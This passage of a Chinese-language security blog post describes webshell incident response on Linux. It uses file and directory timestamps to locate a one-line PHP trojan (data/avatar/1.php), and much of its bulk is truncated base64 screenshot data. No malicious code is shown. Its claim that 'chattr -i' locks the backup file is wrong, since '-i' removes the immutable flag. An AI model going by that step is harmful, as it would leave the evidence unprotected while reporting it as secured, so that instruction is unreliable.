<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094908-7a84334c-17dd-1.png><img src="data:image/png;base64,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
<p>但是上述这种情况我们是通过时间特征，并且时间跨度不长，如果我们这个php文件发现是在三五天过后那么我们再使用该命令可能效果不显著，因为你再这几天内文件变更情况很多，可能列出许多的其他非木马的php文件。基于时间特征还可以进行目录的查看<br>
我们通过ls -alt发现目录时间变更最近的data目录</p>
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094921-824a2dca-17dd-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA6gAAAESCAYAAADwj/gSAABvBUlEQVR4nO29f6zkVpbf9+X70T+lbpb6hyjpSf0k9Uj12qvdGnvGfvm1UwXvZoI1MikHmwCxY7vKa8cdIB6+DBwEiTGDgoMECZDNvoqxiBzHy0KA5B87QdlAjBieBWvHdvKccTy1s/GwpOmWnqRWiy21muxu9Y/X772++YPFKpJFVpEs1q/X3w9w0P2Kt84991ySdQ/vvYcSAAFCpoYGQ5RhbuVQqs+DHkIIIYQQQsi8IIEBKiGEEEIIIYSQOWBp1gYQQgghhBBCCCEAA1RCCCGEEEIIIXMCA1RCCCGEEEIIIXMBA1RCCCGEEEIIIXMBA9QeGgxhQVdnbQc5ukzxHNMMCCF6YmhHpK6sWESbCSGEEEKeAeYgQI0zaFehW8IzoDTA8eQcoOqw5imoP1L2jBnMVjcgSRIkaQste3RxVbdg6Srcay1RwJawrrkgkc18eEUIIYQQMi3mIEAdgarDEtsotLe6A0oJjU4eFQapM0e7WoTcac7Ne0hpT1pUlAsyzN06gAIUuYOd6qxtIoQQQgghzyKhAaqqWxCWASNy1jIwoxk63TKijKrDEgJCVJCHjOJ2RD21ItDaQs4zyq9uNNBBHtWhsz0hx+Is6ysbI9qlwRBev0TMrMSoa7ifHfutgHLnOzp8n45dVxo0bOZttN71RjLxbdYMjx3B9qSyOWjP6HMjqzLhx8L806Xgnvsh50+s68KZ0bNcvxh671oL+j4enqBU20TeNtFOoWU0Ma+drGqLcY4NJVZfEEIIIYSQrBFBUXVLCCGEpasDxwAIzRBCWLpQAQFowggpG6cMescsoauD9UDVheU5phnCwTKEYQlhaN3PDG3kd+EUFJrvuKMDHhuH2xz2mSp0y6M3Vl3x/Kzqlscet65A+Yzq8vVbVH8E9YX4PY7Nqm757Ivqw7g2R9kT59zIqkw8/wTPsSG6h10XXT2G5va/9/+Bc7Hr/+D54D1Xogj9zlAZUlfcaycjiXuODbc5Tl9QKBQKhUKhUDKWwQ8HgwyveAbHkeXjlPGWjRj8aUb/O97BtycI8+r11eH9bsQg1D9oTdeuQYlTVxw/YzAAGgiIMqzL+92Rg/Ehfhhp84h+TmFzlD1xzo2sysTzT8jnQ3UMC1C7x7z+VXVhJQlQPX5yAsc4wVrycz/+tTNBifQzA1QKhUKhUCiUeZKUe1BtmO3+X/VdE5AVFBKXGY66rvT+r23mgc4OqgBQb6Jtd/U227C7egsKYKOAstr9rrkLZ2FwAYoM5CvCtxS2kk/arip2Ol49YUsU49YVg3oTbVtGoexUopYLkO02mr3VzhnW1aW6IUGScsP3TWqbyNsthK1eHW0zMLDUs5JPfG7EsSfOuZFVmdj+CZxjAMZr+9hMa/9pnGsnSzI+xwghhBBCyFSY/yRJo6jvwoSCdVXDptJGsw0oBaCgyLB9kYCN1pbUS7TUk41ko3EngJMgSQ103H1pA5sQs6kLqKPZtiEXylC7gYTdbgYCoqzqiosKvZxHp1kaDMxi2axCtypQWv2kV1KjMxl74pwbWZWJ7Z95wQ3gtlGU3cCxgjzyqETuvx6PeNdOPFTdGrIvOetzjBBCCCGETIuUAaoMpdD/S11XgIHEKnHKDKe+a/b+X93pAPlNZyCqllGQ3SNtmLYMpbwOxdxFtdmGsmlgM2+j3Zu265YpYARJbK5iwx34unYlqisezuxdAWWtjILsbVP2dcVCu4riiFm24TYXoAQ+886UZ2tPgnNj7DJx7JknPOdvp9HNjg3YblA3sQccgbp910586qWc54HMBvzWZnyOEUIIIYSQqTKw7nfU3j//8fAESHHKwHMszn7GsCRJvbp6Opw9ZQPJYpysTb59ZP5EKjGSJKm6sAJ+8SeDiltXPD874rYnpJ7M6xq9B9XZyjcqadEwm4N+7fp9YO9kPJtH2RPn3MiqzGh7QvYyhiY2GnFdJNqDOixBkNfecfefjqgr7rWTicQ/x0b5Z3RfUCgUCoVCoVAylsEPRwcGngBERA3u4pTpSi/yHBxEjh48YiBIixz4+uoJy9BrCV03htsczHwa5aehdcX1s6dchI6s6xoaoEYEQIlt9vnQEFpEkBYvidQIe+KcG1mVGWlPkgB12HWRLEDtB2hBPd6gVBNGzL4dLlF1Jbh2spCY59hIm0f2BYVCoVAoFAolS5G6/5ljNBiignynMeFlh2QUmiFQwfz0A+0hhBBCCCHkaLEASZKc/WoNVDxJUSadAZQMoOoo5220wlPTTh/aQwghhBBCyJFjAWZQCSGEEEIIIYQ8CyzADCohhBBCCCGEkGcBBqiEEEIIIYQQQuYCBqiEEEIIIYQQQuYCBqiEEEIIIYQQQuYCBqiEEEIIIYQQQuaC+Q5QNcPzahkBQ5u1QYQQQgghhBBCJkVEgKrByORdo2PqqW5AkiRI0hZa9ri2qNAtMTLgVXUr9vtW3bIWX8pKCCGEEEIIIWMz3zOomaFCt2pATeoGvBIkqQFUAkGqZmC7aKLhlmmYKG5HBKmqjloRsO1p2E8IIYQQQgghzwaiJ6ouLBGGITRvOahC9xY0NJFOD4RmeA5bulADx731GVrYsfSiGV7bnTosXR0oE/ysb0/4dygUCoVCoVAoFAqFklz8M6j1EnLd2cUObLS23NnGDVQ9xTRjG0W0sOWWzVf8y1xj6lF1C5s7/VnNhlnE9rQ2mqo6ynmgs+NaVIAi22g3675ibdOGXChD9X21hqLZwEYVhBBCCCGEEEIyIsUSXw2beaDTLMEJ5ap4tzUYxMWhXsr5grzqTgdQ1hPriY036VINqElSv351HUqYjbum/wNVR61oosHolBBCCCGEEEIyJeUeVBtmu/9XfdcEZAWFxHo0GJ6kRaKST6knJr2kSxKkGlALTZTkJlMyMDiXq0KvFWE2/DPBhBBCCCGEEELGZ4ZJklToVgVKa6sfNDY606u+XkKtZSNf1p0Z2/ounLnSOkq5/nJkdd0zr6qWUZCBfMUNqrdRlAG5uA1h6ZOb+SWEEEIIIYSQZ4CUAaoMpdD/S11XANtEO5GOwT2fvmBw6rRh2jIKZX+YWVBk2O2ms5y5t7dW8r3+xm5tQcq5S54JIYQQQgghhKRhSIDqD0L7OHtOezOP0HC16AniYutxjvUDQkdPOHXsmkB+M2UCJVWHFZzhVHXUfHbXUWp2IBev9pf2agYq+cHESYQQQgghhBBCJkN4il/f+18SvmYmrh7f62gMoTnvfRl4FY0jmjCi9MSRkFffhL22RvU1zBK6OkwvXzNDoVAoFAqFQqFQKFmJ1P0PIYQQQgghhBAyU2aYJIkQQgghhBBCCOnDAJUQQgghhBBCyFzAAJUQQgghhBBCyFzAAJUQQgghhBBCyFzAAJUQQgghhBBCyFzAAJUQQgghhBBCyFzAAJUQQgghhBBCyFwwOkDVDAhhQJuCMYREwvNwfOhDQgghhBAy53AGdeFRoVsCQvTF0tVZGzVnaDCEBbplHObTh6puRZ7z7jFHwmwPXjsR7VN1WONcX+73LR3qsM+mSaBNwoh4bOEpF1UkaX2j9Azr0yT1RLcrZr8TQgghZCYwQF1wNGMbRbSwJUmQJAmS1IBZ3GaQSo4+qo5aEbDtkGOage2iiYZ7XTRMFLe9gYgK3dpG0Wx0rxsJktSEsh0IVlQd1nYRZkPqlavhaoqAxoaNAsrd76nlAuSkKjJDg1EDar12b6GlVAaDOc2AqAE1qYHOWNUl0DOsT0dXFKNdMfudEEIIITNF+EUVuiW6WELXDSGEIbRAOVW3hLAMYfTKCiGE0fu+oQX1YuCYZogB3ZohhLB0ocaoK2jTMJnHusaXcF9rhhDC0MbS4T2WVZnwY8PtGnUeOr52iwX8q+rC141D+nOoHvpwCj5Me+47/1q6OnDM/5ljX+8zVReWsISu+vW
<p>我们使用cd切换进data目录发现又两个文件变更时间是最靠前的，一个是sessions和avatar，sessions猜测是因为登录行为导致文件一直变更，avatar文件我们不清楚可以cd进去进行查看发现存在1.php文件并且文件变更时间是最近的我们cat一下发现确实是一句话木马文件，我们如果害怕对文件内容不小心做出修改我们也可以使用如下命令进行文件备份操作,使用chattr进行文件锁死，防止文件传播复制。</p>
<pre><code>cp 1.php 1.php.bak
chattr -i 1.php.bak</code></pre>
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094929-873132fc-17dd-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAzsAAAEgCAYAAACToW1eAAB2uElEQVR4nO39bYwbWXrnif4jM6VMKZVSUCqpQipVVapU3WJW2Ra7UY3Jxp3FMC/W7h0DXeA12jYwbYxJ99qttQeIbNxZ3AYMw/QHN3Ybd7aTgHcg2+MOruFZYGYbvkQ3YGN2gAkaM4vOQRu9BNpVQVWVqlIvpQqVVIrQe0r5cu6HYJDBYJA8QUYyU9T/BzyQknHiOc95zomI88R5CQWAACGEEEIIIYSMGRO7bcDex4AlHJj6bttBxpcRtjHDghCiKZaRtG4LSap8Zniey04IIYTsYfZwsCPTAdRhOiLQeWNnY0+gm3D2UoA4VvYMGRgVFqAoChRlGVU3xnk77sPkAj7ddOCYOvz7Q6IB3TPPLr282WvXICGEkOeGPRzs9EE34YgVZGrLjc6bgnI9jTwDnl3HuJCFWq9gqbTblnjQnuF5dmzWkcuosNdKADLQ1DpWC7ttE3l22g8hhJBxRMiKbjpCOJawHBHAEkYzjS7M4DHLiNDTJ41uijb1PfJxTD2k2xCWEM3jlhFVjohjhtWekxHW6QjTtIIJIvR6ebdwhKlH5N8zLxk/R5fdO8cUeqJ5DSINf7WVXd7mNpPD5RnI5rA9/dtGUmmij0X5p/GbEWz7oTRS14Wnx/ETWmbzWuu8VnrZKGNz+Fr2r5HOeuhZp1Llkm8bnq2Ncw2rR7o+0vfakSu7jPQuV0LXTsJ+Hu4apFAoFAplpCKfWG883Ts7Tp4YVvDh6HX+w2ll0qB5rMsDUjeFEzjWfDg3Hr6W0fgtKigJnet1agIP6UanoNW5aQQxPW2O+k0XphN6+PfNS87PnR2diA5RQnm11ZtEh0X3etAD2aybTpt93epQ1uZu9si0jaTSyPkn3MZ66O7ZcfT0WAaanfXW/8MdUflgR65O/WC/PR/ZOu3XIe6rp2tnXrT80Kec7ddOuy2G2d7plym7jMj4J8lrZ2g/J3QNUigUCoUyQpFPHDl60JRAR6trepk0wbQ9Rkf8c4IduUCHPqi3LY+2t73RHb72B/xg5eoUmbxk/IzOznRH5zrBvILn9g12evihr8196nkAm7vZI9M2kkoj55+I33vq6BXsNI4F/aubwhk42JG32esA9+nwD1SueG3D64DHGbnq9EvvTvyAZR+0XAleO0n6eZhrkEKhUCiUUUnCa3Zc2LXWX6U1G1A1ZGKn6Y0+rzX/byymgfoqCgBQqqDmNvRWanAbejMa4CKDnN44116DN3U8A00F0nnRtkNVPh23XAWs1oN6ohbiyuYlQamCmqsik/My0XMZqG4NleZ8+ATzalBYUKAoqd5z7o1FpN0qLkatkehrM+Atng7YnE/Hbhsy9si0jaTSSPsn1MYADFf2pIhhc2nNjlKQUJ3K6ElivU4GmuqiVum3uESm7DJIlGuk185orkFCCCFkVDy7GxT0o7QGGxrmdQOLWg2VGqBlgIymwm3rVbqoLivNTQ6ashDv6ewFAwoUpYw6VGRXBETHNlDJ5AWUUKm5UDM56I0OnlurhDrXSeUliw4zl0a9stTZyZeyWYfp5KFVWxtOKOX6ztgj0zaSSiPtn73IsDYnVaf99Pgd9BVkVT/IzyONNPIi6jrcK8j6Z1TXzgivQUIIIWREJBzsqNAyrb/0eQ1wbdRip+lN8C1qYbUOpBe9Hdj0HDKqf6QG21Wh5eah2WsoVGrQFi0spoNvbRtpMuhDHJsLWPA7Cb5dsfKSwxtVyCBn5JDpeBOdbF5SGBeQ7fMmvbfNnW/UgyN4ydoTo20MnUbGnj2KjA8zrV866yupOu2nJ3DN1cuNnRkB1++0xwrwvXL5oyi90vQuuwzy/hnNtTPKa5AQQggZHdJz3vrN045atNt7F6F+GxTIrf+I2qCgmVdTh797UtSmAe1z2NsX6UpsUKCbwonaGSlyd7Reecn52ZPAblBRaRPNq/+aHW9qf7/Fyr1sDvu1+6JvGZv72SPTNpJK09+eiHUUkZsK9LkuYq3Z6bWIPYYPey7Sl6/T/uXqr6dl76DrdbpfOzuzQUEc/yRz7STh56SuQQqFQqFQRiTyifs/4BLYejoozSgmumPTd4efUKclMgDpyCdqpzWJrafDu0F181PPvGT9HEjXRUfSefUMdrp0pmPb3OZDSxhdOvxyGzhILJTv1zaSStPXnjjBTq/rIl6w075deui4VJ1KbL8sWaf9rvf+eoIBjiGsvrb3kdC1s2NbT8fwTxLXzvB+TvAapFAoFAplNLLrBgwojY4atzTddZEKPGnPrtsx7jZT9o6w/VAoFAplD8muGzCUtL+A5YfrRi4y2+DSnr1jz7jaTNk7wvZDoVAolD0kSuM/hBBCCCGEEDJWjO/W04QQQgghhJDnGgY7hBBCCCGEkLGEwQ4hhBBCCCFkLGGwQwghhBBCCBlLGOwQQgghhBBCxhIGO30xYAkHpr7bdpDxZYRtzLAghGiKZSSt20KSKskI2cm2sVM8izYTQggZKXs42JHpAOowHRF42LGjtSfQTTh7KUAcK3uGDIwKC1AUBYqyjKob47wd9+EOBHx7ot5H+7JENx04pg7/3hir8z9o29hNYtnMF1eEEPI8soeDnT7oJhyxgkxtufGwU1Cup5FnwLPrGBeyUOsVLJV22xIP2jM8tPlZQEcuo8JeKwHIQFPrWC3stk2EEELI7iP9BVLddIRwLGE5IoAljGYaXZjBY5YRoadPGt0Ubep75OOYeki3ISwhmsctI6ocEccMqz0nI6zTEaZpBRNE6PXybtHlC+I985Lxc3TZvXNMoSea1yDS8Fdb2eVtbjM5XJ6BbA7b079tJJUm+liUfxq/GcG2H0ojdV14ehw/oWU2r7XOa6WXjTI2h69l/xrprIeedSpVLvm20d/mfnoSaqsJl0uuzRvC8n8zLAkfdZN+bUPyXpeQyNV7D5tj1AWFQqFQxlLkE+uNnk1nx8kTwwo+jLwHYjitTBo0j3V5iOqmcALHmg/DRmfAMhq/RQUloXO9gCDw0Gs8GFsPzcaDvafNUb/pwnRCD9O+ecn5ubPjFdFBSyivtnqT6NToXo9jIJt102mzr1sdytrczR6ZtpFUGjn/hNtYD929rouGHstAM9Bt/T/csZMPduTq1O8At+cjW6e9yxVHT3+b++lJsq0mVa6ebb5rZ1602kCfOm6XfsG6xL0uIZH3s0x77l0XFAqFQhlbkU8cOXrQlEBHq2t6mTTBtD1GR/xzgh25QIc+qLctj7Y3ntEPyPYH6mDl6hSZvGT8jM7OdEfnOsG8guf27Sj08ENfm/vU8wA2d7NHpm0klUbOPxG/99TRK9hpHAv6VzeFM3CwI2+z1yHv0+kdqFxx9PRphzJ6EmyrSZVLps3rptMIQuKM2kVJ/2BncN1DSlc/M9ihUCgUSrQkvGbHhV1r/VVaswFVQyZ2mt7o81rz/8ZiGqivogAApQpqbkNvpQa3oTejAS4yyOmNc+01eNP4M9BUIJ0XbTv65NNxy1XAaj2oJ2oRrGxeEpQqqLkqMjkvEz2XgerWUGmuTUgwrwaFBQWKkuq9/sFYRNqt4mLUOoG+NgPeAuKAzfl07LYhY49M20gqjbR/Qm0MwHBlT4oYNpfW7CgFCdVpDD09bZbQM9K2mpSeUa3XkbnXJUnC9wRCCCHPHc/uBgX9KK3BhoZ53cCiVkOlBmgZIKOpcNt6lS6qy0pzk4OmLMTrKXjBgAJFKaMOFdkVAdGxFVIyeQElVGou1EwOeqOT49Yqoc51UnnJosPMpVGvLHV28qVs1mE6eWjV1oYTSrm+M/bItI2k0kj7Zy8yrM1J1WkcPb1sltUzqraahB4/GFhBVvWDkDzSSCMvou5BwyN3r5NDN50eu2kmfU8ghBDyPJJwsKNCy7T+0uc1wLVRi52mN8E3yIXVOpBe9B6Seg4Z1T9Sg+2q0HLz0Ow1FCo
<p><a id=img18 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094935-8a85bafe-17dd-1.png><img src="data:image/png;base64,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